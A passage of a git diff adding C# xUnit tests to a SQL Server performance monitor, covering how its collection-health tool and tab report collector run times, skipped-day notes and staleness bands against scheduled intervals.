+            FrequencyMinutes = c.Frequency,
+            RetentionDays = 30,
+            RunAt = c.RunAt,
+        }).ToList());
+        return new McpCollectorRunTimes(scheduler, _serverManager);
+    }
+
+    private async Task<(Dictionary<string, JsonElement> Rows, JsonElement Root)> CallAsync(McpCollectorRunTimes? runTimes, bool fullDetail)
+    {
+        var json = await McpHealthTools.GetCollectionHealth(
+            new LocalDataService(_duckDb), _serverManager, ServerName, full_detail: fullDetail, runTimes: runTimes);
+        using var doc = JsonDocument.Parse(json);
+        var root = doc.RootElement.Clone();
+        var rows = root.GetProperty("collectors").EnumerateArray()
+            .ToDictionary(e => e.GetProperty("collector").GetString()!, e => e.Clone());
+        return (rows, root);
+    }
+
+    private static DateTime ParseUtc(JsonElement value) =>
+        DateTime.Parse(value.GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
+
+    [Fact]
+    public async Task ACollectorWithARunTime_ShowsRunAtAndNextRunUtc_AndACollectorWithoutOneShowsNullForBoth()
+    {
+        var now = DateTime.UtcNow;
+        var (minute, text) = RunTimeAwayFromNow();
+        await SeedLogAsync(Daily, now.AddMinutes(-1), "SUCCESS", 5000, 10);
+        await SeedLogAsync(Frequent, now.AddMinutes(-1), "SUCCESS", 80, 40);
+        var runTimes = RunTimes((Daily, 1440, text, true), (Frequent, 1, null, true));
+
+        var (rows, root) = await CallAsync(runTimes, fullDetail: true);
+
+        var daily = rows[Daily];
+        Assert.Equal(text, daily.GetProperty("run_at").GetString());
+        var next = ParseUtc(daily.GetProperty("next_run_utc"));
+        Assert.True(next > now, $"the next run {next:o} must be ahead of {now:o}");
+        Assert.True(next <= now + CollectorRunTime.MaxStampAhead(1440), $"the next run {next:o} is more than a day and the spread away");
+
+        /* No server_properties row, so the clock is unknown and the run time reads as UTC: the time plus the server's fixed spread. */
+        Assert.Equal(TimeSpan.FromTicks((TimeSpan.FromMinutes(minute) + CollectorRunTime.Spread(_serverId)).Ticks % TimeSpan.TicksPerDay), next.TimeOfDay);
+
+        Assert.Equal(JsonValueKind.Null, rows[Frequent].GetProperty("run_at").ValueKind);
+        Assert.Equal(JsonValueKind.Null, rows[Frequent].GetProperty("next_run_utc").ValueKind);
+
+        /* A full row always carries the note, null here: nothing was skipped, and a collector with no run time cannot skip a day. */
+        Assert.Equal(JsonValueKind.Null, daily.GetProperty("run_time_note").ValueKind);
+        Assert.Equal(JsonValueKind.Null, rows[Frequent].GetProperty("run_time_note").ValueKind);
+
+        /* The heaviest-collectors list names the run time beside the shipped cadence, and null for a collector without one. */
+        var heaviest = root.GetProperty("sweep_pressure").GetProperty("heaviest_collectors").EnumerateArray()
+            .ToDictionary(e => e.GetProperty("collector").GetString()!, e => e.Clone());
+        Assert.Equal(text, heaviest[Daily].GetProperty("run_at").GetString());
+        Assert.Equal(JsonValueKind.Null, heaviest[Frequent].GetProperty("run_at").ValueKind);
+    }
+
+    [Fact]
+    public void TheRunTimeIsOnTheServersClock_AndAServerWithNoClockReadsItAsUtc()
+    {
+        var settings = new[] { new ScheduleManager.RunTimeSetting(Daily, 120, 1440, true) };
+        var neverRan = Array.Empty<CollectorHealthRow>();
+        var now = new DateTime(2026, 7, 15, 12, 0, 0, DateTimeKind.Utc);
+
+        var plain = McpCollectorRunTimes.Compute(_serverId, settings, neverRan, clock: null, now)[Daily];
+        var fiveBehind = McpCollectorRunTimes.Compute(_serverId, settings, neverRan, ServerClock.Resolve(null, -300), now)[Daily];
+
+        Assert.Equal("02:00", plain.RunAt);
+        Assert.Equal("02:00", fiveBehind.RunAt);
+        Assert.Equal(TimeSpan.FromHours(2) + CollectorRunTime.Spread(_serverId), plain.NextRunUtc!.Value.TimeOfDay);
+
+        /* Five hours behind UTC, a fixed offset: its 02:00 is 07:00 UTC. */
+        Assert.Equal(TimeSpan.FromHours(7) + CollectorRunTime.Spread(_serverId), fiveBehind.NextRunUtc!.Value.TimeOfDay);
+    }
+
+    [Fact]
+    public async Task ADisabledCollectorWithARunTime_ShowsItsRunTime_AndNoNextRun()
+    {
+        var (_, text) = RunTimeAwayFromNow();
+        await SeedLogAsync(Daily, DateTime.UtcNow.AddMinutes(-1), "SUCCESS", 5000, 10);
+
+        var (rows, _) = await CallAsync(RunTimes((Daily, 1440, text, false)), fullDetail: true);
+
+        Assert.Equal(text, rows[Daily].GetProperty("run_at").GetString());
+        Assert.Equal(JsonValueKind.Null, rows[Daily].GetProperty("next_run_utc").ValueKind);
+        Assert.Equal(JsonValueKind.Null, rows[Daily].GetProperty("run_time_note").ValueKind);
+    }
+
+    [Fact]
+    public async Task ACompactRow_CarriesTheRunTimeOnlyWhenTheCollectorHasOne()
+    {
+        var now = DateTime.UtcNow;
+        var (_, text) = RunTimeAwayFromNow();
+        await SeedLogAsync(Daily, now.AddMinutes(-30), "SUCCESS", 5000, 10);
+        await SeedLogAsync(Frequent, now.AddMinutes(-1), "SUCCESS", 80, 40);
+
+        var (rows, _) = await CallAsync(RunTimes((Daily, 1440, text, true), (Frequent, 1, null, true)), fullDetail: false);
+
+        Assert.True(rows[Daily].GetProperty("compact").GetBoolean());
+        Assert.Equal(text, rows[Daily].GetProperty("run_at").GetString());
+        Assert.Equal(JsonValueKind.String, rows[Daily].GetProperty("next_run_utc").ValueKind);
+
+        Assert.True(rows[Frequent].GetProperty("compact").GetBoolean());
+        Assert.False(rows[Frequent].TryGetProperty("run_at", out _), "a compact row without a run time stays seven fields");
+        Assert.False(rows[Frequent].TryGetProperty("next_run_utc", out _));
+
+        /* A skipped day reads STALE or worse, so a compact row never carries the note, with a run time or without one. */
+        Assert.False(rows[Daily].TryGetProperty("run_time_note", out _));
+        Assert.False(rows[Frequent].TryGetProperty("run_time_note", out _));
+    }
+
+    [Fact]
+    public async Task ASkippedDay_CrossesTheStaleLineBeforeTheNextRun_AndTheBandIsTheSameWithoutARunTime()
+    {
+        var now = DateTime.UtcNow;
+        var (_, text) = RunTimeAwayFromNow();
+
+        /* A daily collector that last ran 40 hours ago is past the 36-hour stale line: a day was skipped. The next run is
+           still hours away, so the row reads STALE before it. The run time changes nothing about the band. */
+        await SeedLogAsync(Daily, now.AddHours(-40), "SUCCESS", 5000, 10);
+
+        var (withRunTime, _) = await CallAsync(RunTimes((Daily, 1440, text, true)), fullDetail: true);
+        var (without, _) = await CallAsync(runTimes: null, fullDetail: true);
+
+        Assert.Equal("STALE", withRunTime[Daily].GetProperty("status").GetString());
+        Assert.Equal(without[Daily].GetProperty("status").GetString(), withRunTime[Daily].GetProperty("status").GetString());
+        Assert.Equal(JsonValueKind.Null, without[Daily].GetProperty("run_at").ValueKind);
+        Assert.True(ParseUtc(withRunTime[Daily].GetProperty("next_run_utc")) > now.AddHours(1),
+            "the skipped day's collector waits for its next slot, not for the read");
+
+        /* The default shape of a stale row is the partial one: it carries the run time when the collector has one and
+           leaves the keys out when it has none. */
+        var (partial, _) = await CallAsync(RunTimes((Daily, 1440, text, true)), fullDetail: false);
+        Assert.True(partial[Daily].GetProperty("partial_detail").GetBoolean());
+        Assert.Equal(text, partial[Daily].GetProperty("run_at").GetString());
+        Assert.Equal(JsonValueKind.String, partial[Daily].GetProperty("next_run_utc").ValueKind);
+
+        var (partialWithout, _) = await CallAsync(runTimes: null, fullDetail: false);
+        Assert.False(partialWithout[Daily].TryGetProperty("run_at", out _));
+        Assert.False(partialWithout[Daily].TryGetProperty("next_run_utc", out _));
+    }
+
+    [Fact]
+    public async Task ASkippedDay_CarriesANoteThatSaysWhyAndWhenTheNextRunIs_OnAFullRowAndAPartialOne()
+    {
+        var now = DateTime.UtcNow;
+        var (_, text) = RunTimeAwayFromNow();
+
+        /* The daily collector last ran 40 hours ago, so it missed a day and is past its 36-hour stale line, and its next slot
+           is half a day away. The second collector, also on a run time, ran a minute ago: nothing was skipped there. */
+        await SeedLogAsync(Daily, now.AddHours(-40), "SUCCESS", 5000, 10);
+        await SeedLogAsync(FiveMinutes, now.AddMinutes(-1), "SUCCESS", 80, 40);
+        var runTimes = RunTimes((Daily, 1440, text, true), (FiveMinutes, 1440, text, true));
+
+        var (full, _) = await CallAsync(runTimes, fullDetail: true);
+        var (partial, _) = await CallAsync(runTimes, fullDetail: false);
+
+        Assert.True(partial[Daily].GetProperty("partial_detail").GetBoolean());
+        foreach (var row in new[] { full[Daily], partial[Daily] })
+        {
+            Assert.Equal("STALE", row.GetProperty("status").GetString());
+            var next = ParseUtc(row.GetProperty("next_run_utc"));
+            Assert.True(next > now, "the next slot is still ahead of the stale reading");
+            var note = row.GetProperty("run_time_note").GetString();
+            Assert.NotNull(note);
+            Assert.Contains("Skipped day", note, StringComparison.Ordinal);
+            Assert.Contains("36-hour stale line", note, StringComparison.Ordinal);
+            Assert.Contains(next.ToString("u", CultureInfo.InvariantCulture), note, StringComparison.Ordinal);
+            Assert.Contains("not replayed", note, StringComparison.Ordinal);
+
+            /* In Lite's terms: it collects only while it is open. The slot is named the way the row's run_at is. */
+            Assert.Contains("only while it is open", note, StringComparison.Ordinal);
+            Assert.Contains($"{text} slot", note, StringComparison.Ordinal);
+        }
+
+        /* It ran a minute ago: a null note on a full row, and the compact row it takes by default never carries one. */
+        Assert.Equal(JsonValueKind.Null, full[FiveMinutes].GetProperty("run_time_note").ValueKind);
+        Assert.True(partial[FiveMinutes].GetProperty("compact").GetBoolean());
+        Assert.False(partial[FiveMinutes].TryGetProperty("run_time_note", out _));
+    }
+
+    [Fact]
+    public async Task APartialRowCarriesTheRunTimeAndTheNoteOnlyWhenTheCollectorHasARunTime()
+    {
+        var now = DateTime.UtcNow;
+        var (_, text) = RunTimeAwayFromNow();
+
+        /* A success and then a failure for each collector: an error in the window fails the compact test, so both take the
+           partial shape. */
+        foreach (var collector in new[] { Daily, Frequent })
+        {
+            await SeedLogAsync(collector, now.AddMinutes(-2), "SUCCESS", 80, 40);
+            await SeedLogAsync(collector, now.AddMinutes(-1), "ERROR", 80, 0);
+        }
+
+        var (rows, _) = await CallAsync(RunTimes((Daily, 1440, text, true), (Frequent, 1, null, true)), fullDetail: false);
+
+        /* The partial row of a collector with a run time carries all three keys, the note null because nothing was skipped. A
+           partial row for a collector with none has no key at all, so the shape costs a collector without a run time no bytes. */
+        var daily = rows[Daily];
+        Assert.True(daily.GetProperty("partial_detail").GetBoolean());
+        Assert.Equal(text, daily.GetProperty("run_at").GetString());
+        Assert.Equal(JsonValueKind.String, daily.GetProperty("next_run_utc").ValueKind);
+        Assert.Equal(JsonValueKind.Null, daily.GetProperty("run_time_note").ValueKind);
+
+        var minute = rows[Frequent];
+        Assert.True(minute.GetProperty("partial_detail").GetBoolean());
+        Assert.False(minute.TryGetProperty("run_at", out _));
+        Assert.False(minute.TryGetProperty("next_run_utc", out _));
+        Assert.False(minute.TryGetProperty("run_time_note", out _));
+    }
+
+    private static CollectorHealthRow HealthRow(string collector, DateTime? lastRun) => new()
+    {
+        CollectorName = collector,
+        TotalRuns = 1,
+        SuccessCount = 1,
+        LastRunTime = lastRun,
+        LastSuccessTime = lastRun,
+    };
+
+    private static DateTime Ago(double hours) => DateTime.SpecifyKind(Now.AddHours(-hours), DateTimeKind.Unspecified);
+
+    private CollectorRunTimeReading ReadingAtNoon(string collector, int runAtMinute, int intervalMinutes, bool enabled, CollectorHealthRow row) =>
+        McpCollectorRunTimes.Compute(
+            _serverId, new[] { new ScheduleManager.RunTimeSetting(collector, runAtMinute, intervalMinutes, enabled) },
+            new[] { row }, clock: null, Now)[collector];
+
+    [Theory]
+    [InlineData(1, false)]    // ran this morning: on time
+    [InlineData(20, false)]   // ran yesterday: on time
+    [InlineData(30, false)]   // a day late but still under the 36-hour stale line: not stale yet, so no note
+    [InlineData(40, true)]    // a skipped day past the 36-hour stale line, with the next slot ahead
+    [InlineData(60, true)]    // two days
+    public void ASkippedDayCarriesANoteOnlyOncePastTheStaleLineWithTheNextSlotAhead(double hoursSinceLastRun, bool expectNote)
+    {
+        var reading = ReadingAtNoon(Daily, TwoAm, 1440, enabled: true, HealthRow(Daily, Ago(hoursSinceLastRun)));
+
+        Assert.True(reading.NextRunUtc > Now, "the next slot is ahead");
+        if (!expectNote)
+        {
+            Assert.Null(reading.SkippedDayNote);
+            return;
+        }
+
+        Assert.NotNull(reading.SkippedDayNote);
+        Assert.Contains("Skipped day", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains("36-hour stale line", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains($"no run for {hoursSinceLastRun:0.#} hours", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains(reading.NextRunUtc!.Value.ToString("u", CultureInfo.InvariantCulture), reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains("not replayed", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains("Lite collects only while it is open", reading.SkippedDayNote, StringComparison.Ordinal);
+        Assert.Contains($"{CollectorRunTime.Format(TwoAm)} slot", reading.SkippedDayNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ACollectorDueNowHasNoNote_BecauseItsRunIsAMomentAway()
+    {
+        /* A run time whose slot for this server passed about ten minutes ago: noon is inside its 60-minute grace. */
+        var spreadMinutes = (int)CollectorRunTime.Spread(_serverId).TotalMinutes;
+        var runAt = 12 * 60 - spreadMinutes - 10;
+
+        var reading = ReadingAtNoon(Daily, runAt, 1440, enabled: true, HealthRow(Daily, Ago(40)));
+
+        Assert.Equal(Now, reading.NextRunUtc);
+        Assert.Null(reading.SkippedDayNote);
+    }
+
+    [Fact]
+    public void ADisabledCollectorHasNoNote_BecauseNothingIsScheduled()
+    {
+        var reading = ReadingAtNoon(Daily, TwoAm, 1440, enabled: false, HealthRow(Daily, Ago(40)));
+
+        Assert.Null(reading.NextRunUtc);
+        Assert.Null(reading.SkippedDayNote);
+    }
+
+    [Fact]
+    public void ADailyIntervalChosenOnAFasterShippedCadence_IsNotASkippedDayOnAnOrdinaryDay()
+    {
+        /* running_jobs ships on a five-minute cadence, so the health band calls it stale after four hours. Moved to a daily
+           run time, ten hours since its last run is just a day's wait, not a skipped slot. */
+        var ordinary = ReadingAtNoon(FiveMinutes, TwoAm, 1440, enabled: true, HealthRow(FiveMinutes, Ago(10)));
+        Assert.Null(ordinary.SkippedDayNote);
+
+        /* A day and a quarter is past one interval plus its grace, so a slot really was missed. */
+        var skipped = ReadingAtNoon(FiveMinutes, TwoAm, 1440, enabled: true, HealthRow(FiveMinutes, Ago(30)));
+        Assert.NotNull(skipped.SkippedDayNote);
+    }
+
+    [Fact]
+    public void TheRunTimeIsNeverABandInput()
+    {
+        /* HealthStatus reads the real clock, so this row and the call use it too. */
+        var realNow = DateTime.UtcNow;
+        var row = HealthRow(Daily, DateTime.SpecifyKind(realNow.AddHours(-40), DateTimeKind.Unspecified));
+        var bandBefore = row.HealthStatus;
+
+        _ = McpCollectorRunTimes.Compute(
+            _serverId, new[] { new ScheduleManager.RunTimeSetting(Daily, TwoAm, 1440, true) }, new[] { row }, clock: null, realNow);
+
+        Assert.Equal("STALE", bandBefore);
+        Assert.Equal(bandBefore, row.HealthStatus);
+    }
+
+    /* #4938: the tool takes its run-time source as an optional service parameter, so a host that registers nothing does not
+       fail: every collector just reads as having no run time. Everything above hands the source in by hand. This one goes
+       through the registration the host itself runs at start-up. */
+    [Fact]
+    public async Task TheHostsOwnRegistration_HandsTheToolTheSchedule_SoARunTimeSetThereReachesTheDueRule()
+    {
+        var now = DateTime.UtcNow;
+        var (minute, text) = RunTimeAwayFromNow();
+        var lastRun = now.AddMinutes(-1);
+        await SeedLogAsync(Daily, lastRun, "SUCCESS", 5000, 10);
+
+        /* The schedule the app holds, with a run time on the daily collector. */
+        var schedules = new ScheduleManager(_configDir);
+        schedules.SetScheduleForServer(_server.Id, new List<CollectorSchedule>
+        {
+            new() { Name = Daily, Enabled = true, FrequencyMinutes = 1440, RetentionDays = 30, RunAt = text },
+        });
+
+        var services = new ServiceCollection();
+        McpHostService.RegisterCollectorRunTimes(services, schedules, _serverManager);
+        using var provider = services.BuildServiceProvider();
+        var runTimes = provider.GetRequiredService<McpCollectorRunTimes>();
+
+        var (rows, _) = await CallAsync(runTimes, fullDetail: true);
+
+        Assert.Equal(text, rows[Daily].GetProperty("run_at").GetString());
+        var expectedNext = CollectorRunTime.NextDue(now, lastRun, minute, 1440, _serverId, CollectorRunTime.LocalIsUtc);
+        Assert.Equal(expectedNext, ParseUtc(rows[Daily].GetProperty("next_run_utc")));
+    }
+
+    /* The two links the runtime test above cannot reach: the host calls that one registration method (and nothing else
+       builds the service), and the app hands the host the schedule it holds. */
+    [Fact]
+    public void TheHostRegistersTheRunTimeServiceOnlyThroughItsRegistrationMethod_AndTheAppHandsTheHostItsSchedule()
+    {
+        var host = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Mcp", "McpHostService.cs"));
+        Assert.Contains("RegisterCollectorRunTimes(builder.Services, _scheduleManager, _serverManager);", host, StringComparison.Ordinal);
+        Assert.Equal(1, Regex.Count(host, @"new McpCollectorRunTimes\("));
+
+        var app = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs"));
+        Assert.Matches(@"new McpHostService\([^;]*,\s*_scheduleManager\)", app);
+    }
+
+    /* The shared run-time paragraph names run_time_note for both apps: it is no longer scoped to Darling, and the row-shape
+       rule is the one both tools follow. */
+    [Fact]
+    public void BothAppsDescriptions_NameTheNoteForBothApps_AndGiveTheSameRowShapeRule()
+    {
+        var files = new[]
+        {
+            Path.Combine(RepoRoot(), "Lite", "Mcp", "McpHealthTools.cs"),
+            Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs"),
+        };
+
+        foreach (var file in files)
+        {
+            var source = File.ReadAllText(file);
+            Assert.Contains("run_time_note says so: how long the collector has not run, the stale line it is past, and when the next run is due.", source, StringComparison.Ordinal);
+            Assert.Contains("On Lite it also names the slot, in the form run_at uses, and says Lite collects only while it is open.", source, StringComparison.Ordinal);
+            Assert.Contains("A full row always carries run_at, next_run_utc and run_time_note, each null when the collector has no run time.", source, StringComparison.Ordinal);
+            Assert.Contains("A partial row carries run_time_note under the same condition, and a compact row never carries it, because a skipped day is not healthy.", source, StringComparison.Ordinal);
+            Assert.DoesNotContain("Lite has no such note", source, StringComparison.Ordinal);
+            Assert.DoesNotContain("Darling also says so in run_time_note", source, StringComparison.Ordinal);
+            Assert.DoesNotContain("On Darling a full row always carries run_time_note", source, StringComparison.Ordinal);
+        }
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+
+    private async Task SeedLogAsync(string collector, DateTime collectionTimeUtc, string status, double durationMs, int? rowsCollected)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, NULL, $8, $9, $10)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified) });
+        cmd.Parameters.Add(new DuckDBParameter { Value = durationMs });
+        cmd.Parameters.Add(new DuckDBParameter { Value = status });
+        cmd.Parameters.Add(new DuckDBParameter { Value = (object?)rowsCollected ?? DBNull.Value });
+        cmd.Parameters.Add(new DuckDBParameter { Value = durationMs * 0.8 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = durationMs * 0.2 });
+        await cmd.ExecuteNonQueryAsync();
+    }
+}
diff --git a/Lite.Tests/CollectionHealthTabScheduleTests.cs b/Lite.Tests/CollectionHealthTabScheduleTests.cs
new file mode 100644
index 0000000000..4f307baab4
--- /dev/null
+++ b/Lite.Tests/CollectionHealthTabScheduleTests.cs
@@ -0,0 +1,264 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4999 (part of #4938): Lite's own Collection Health tab judges a collector against the interval it is scheduled at
+/// on the server, as get_collection_health does. The tab builds its own <see cref="LocalDataService"/> (<c>ServerTab</c>
+/// does <c>new LocalDataService(duckDb)</c>), and only the MCP host used to give its instance the schedule store's
+/// answer, so the tab banded a collector moved to every 720 minutes against its shipped five: a collector last
+/// successful six hours ago read STALE on the tab and HEALTHY in the MCP tool.
+///
+/// <para>Every instance reads the app-wide <see cref="LocalDataService.DefaultCollectorFrequencyMinutes"/> where it uses
+/// it, so a service built the way the tab builds it, with no resolver of its own, bands by the schedule. These run
+/// the tab's own read (<c>GetCollectionHealthAsync</c> on such a service) against a real DuckDB.</para>
+///
+/// <para>The default is process-wide, so the class that sets it is in a serial collection and puts it back.</para>
+/// </summary>
+[Collection(CollectorFrequencyDefaultCollection.Name)]
+public sealed class CollectionHealthTabScheduleTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 4999;
+    private const int OverrideMinutes = 720;
+
+    /// <summary>
+    /// Six hours since the newest success: past the four-hour floor a five-minute collector goes STALE at, and well inside
+    /// the 18 hours (one and a half intervals) a 720-minute collector gets.
+    /// </summary>
+    private const int MinutesSinceLastSuccess = 360;
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public CollectionHealthTabScheduleTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        LocalDataService.DefaultCollectorFrequencyMinutes = null;
+    }
+
+    public void Dispose()
+    {
+        LocalDataService.DefaultCollectorFrequencyMinutes = null;
+        _seedConn?.Dispose();
+    }
+
+    /// <summary>Five collectors that ship at five minutes, whose cadence an override of 720 minutes is honoured for.</summary>
+    private static string[] FiveMinuteCollectors()
+    {
+        var names = CollectorScheduleDefaults.All
+            .Where(c => c.Value.FrequencyMinutes == 5 && !CollectorDeltaCalculator.IsDeltaFamily(c.Key))
+            .Select(c => c.Key)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .Take(5)
+            .ToArray();
+        Assert.Equal(5, names.Length);
+        return names;
+    }
+
+    /// <summary>The schedule store as <c>ScheduleManager.GetFrequencyForStorageServer</c> answers it: the named collectors on this server, moved to 720 minutes.</summary>
+    private static Func<int, string, int?> MovedTo720(params string[] collectors) =>
+        (id, name) => id == ServerId && collectors.Contains(name) ? OverrideMinutes : null;
+
+    [Fact]
+    public async Task TheTabsOwnService_BandsAnOverrideOf720Against720_AndTheRestAgainstTheirShippedFive()
+    {
+        var collectors = FiveMinuteCollectors();
+        var moved = collectors.Take(2).ToArray();
+        foreach (var name in collectors)
+        {
+            await SeedProductiveRunsAsync(name);
+        }
+
+        LocalDataService.DefaultCollectorFrequencyMinutes = MovedTo720(moved);
+
+        /* Exactly the tab's read: a service built with no resolver of its own, then GetCollectionHealthAsync. */
+        var rows = await new LocalDataService(_duckDb).GetCollectionHealthAsync(ServerId);
+
+        var healthy = rows.Where(r => r.HealthStatus == CollectorHealthClassifier.Healthy)
+            .Select(r => r.CollectorName).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+        Assert.Equal(moved.OrderBy(n => n, StringComparer.Ordinal).ToArray(), healthy);
+        Assert.Equal(2, healthy.Length);
+
+        foreach (var name in moved)
+        {
+            Assert.Equal(OverrideMinutes, rows.Single(r => r.CollectorName == name).FrequencyMinutes);
+        }
+
+        foreach (var name in collectors.Except(moved))
+        {
+            var row = rows.Single(r => r.CollectorName == name);
+            Assert.Equal(5, row.FrequencyMinutes);
+            Assert.Equal(CollectorHealthClassifier.Stale, row.HealthStatus);
+        }
+    }
+
+    [Fact]
+    public async Task WithNoSchedulesWired_EveryCollectorStaysOnItsShippedCadence()
+    {
+        var collectors = FiveMinuteCollectors();
+        foreach (var name in collectors)
+        {
+            await SeedProductiveRunsAsync(name);
+        }
+
+        var rows = await new LocalDataService(_duckDb).GetCollectionHealthAsync(ServerId);
+
+        Assert.All(collectors, name =>
+        {
+            var row = rows.Single(r => r.CollectorName == name);
+            Assert.Equal(5, row.FrequencyMinutes);
+            Assert.Equal(CollectorHealthClassifier.Stale, row.HealthStatus);
+        });
+    }
+
+    /// <summary>
+    /// The default is read where it is used, not copied when an instance is built, so a service that exists before the
+    /// default is set sees it after, and an instance's own resolver (the MCP host sets one) still wins over it.
+    /// </summary>
+    [Fact]
+    public void AnInstanceReadsTheAppWideDefaultWhenAsked_AndItsOwnResolverWins()
+    {
+        var service = new LocalDataService(_duckDb);
+        Assert.Null(service.CollectorFrequencyMinutes);
+
+        Func<int, string, int?> app = (_, _) => 720;
+        LocalDataService.DefaultCollectorFrequencyMinutes = app;
+        Assert.Same(app, service.CollectorFrequencyMinutes);
+        Assert.Same(app, new LocalDataService(_duckDb).CollectorFrequencyMinutes);
+
+        Func<int, string, int?> own = (_, _) => 60;
+        service.CollectorFrequencyMinutes = own;
+        Assert.Same(own, service.CollectorFrequencyMinutes);
+
+        /* Setting an instance's own resolver to null (a host with no schedule manager) falls back to the default. */
+        service.CollectorFrequencyMinutes = null;
+        Assert.Same(app, service.CollectorFrequencyMinutes);
+    }
+
+    /// <summary>
+    /// The main window wires the default once, from the schedule manager and server manager it builds, in the same answer the
+    /// MCP host hands its own instance; and the tab builds its service with no resolver of its own, so the default is
+    /// what it reads.
+    /// </summary>
+    [Fact]
+    public void TheMainWindowWiresTheDefault_AndTheTabBuildsItsServiceWithNoResolverOfItsOwn()
+    {
+        var window = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "MainWindow.xaml.cs"));
+        Assert.Contains("LocalDataService.DefaultCollectorFrequencyMinutes = (serverId, collector) =>", window, StringComparison.Ordinal);
+        Assert.Contains("_scheduleManager.GetFrequencyForStorageServer(_serverManager, serverId, collector)", window, StringComparison.Ordinal);
+
+        var tab = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Controls", "ServerTab.xaml.cs"));
+        Assert.Contains("_dataService = new LocalDataService(duckDb);", tab, StringComparison.Ordinal);
+        Assert.DoesNotContain("CollectorFrequencyMinutes", tab, StringComparison.Ordinal);
+    }
+
+    /// <summary>Every test class that sets the process-wide default shares the one serial collection.</summary>
+    [Fact]
+    public void EveryClassSettingTheDefault_IsInTheSerialCollection()
+    {
+        var checkedFiles = 0;
+        foreach (var file in Directory.GetFiles(Path.Combine(RepoRoot(), "Lite.Tests"), "*.cs", SearchOption.AllDirectories))
+        {
+            if (file.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                || file.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var text = File.ReadAllText(file);
+            if (!text.Contains("LocalDataService.DefaultCollectorFrequencyMinutes =", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            checkedFiles++;
+            Assert.True(
+                text.Contains("[Collection(CollectorFrequencyDefaultCollection.Name)]", StringComparison.Ordinal),
+                Path.GetFileName(file) + " sets the default outside the serial collection");
+        }
+
+        Assert.True(checkedFiles >= 1, "this file sets the default, so at least one file is checked");
+    }
+
+    /* ── helpers ── */
+
+    private static DateTime MinutesAgo(int minutes)
+    {
+        var t = DateTime.UtcNow.AddMinutes(-minutes);
+        return new DateTime(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+    }
+
+    /// <summary>Ten successful runs that each stored rows, the newest <see cref="MinutesSinceLastSuccess"/> minutes ago.</summary>
+    private async Task SeedProductiveRunsAsync(string collector)
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+
+        for (var i = 0; i < 10; i++)
+        {
+            using var readLock = _duckDb.AcquireReadLock();
+            using var cmd = _seedConn.CreateCommand();
+            cmd.CommandText = @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)";
+            cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+            cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "TestSrv" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+            cmd.Parameters.Add(new DuckDBParameter { Value = MinutesAgo(MinutesSinceLastSuccess + i * 5) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 100 });
+            cmd.Parameters.Add(new DuckDBParameter { Value = "SUCCESS" });
+            cmd.Parameters.Add(new DuckDBParameter { Value = DBNull.Value });
+            cmd.Parameters.Add(new DuckDBParameter { Value = 10 });
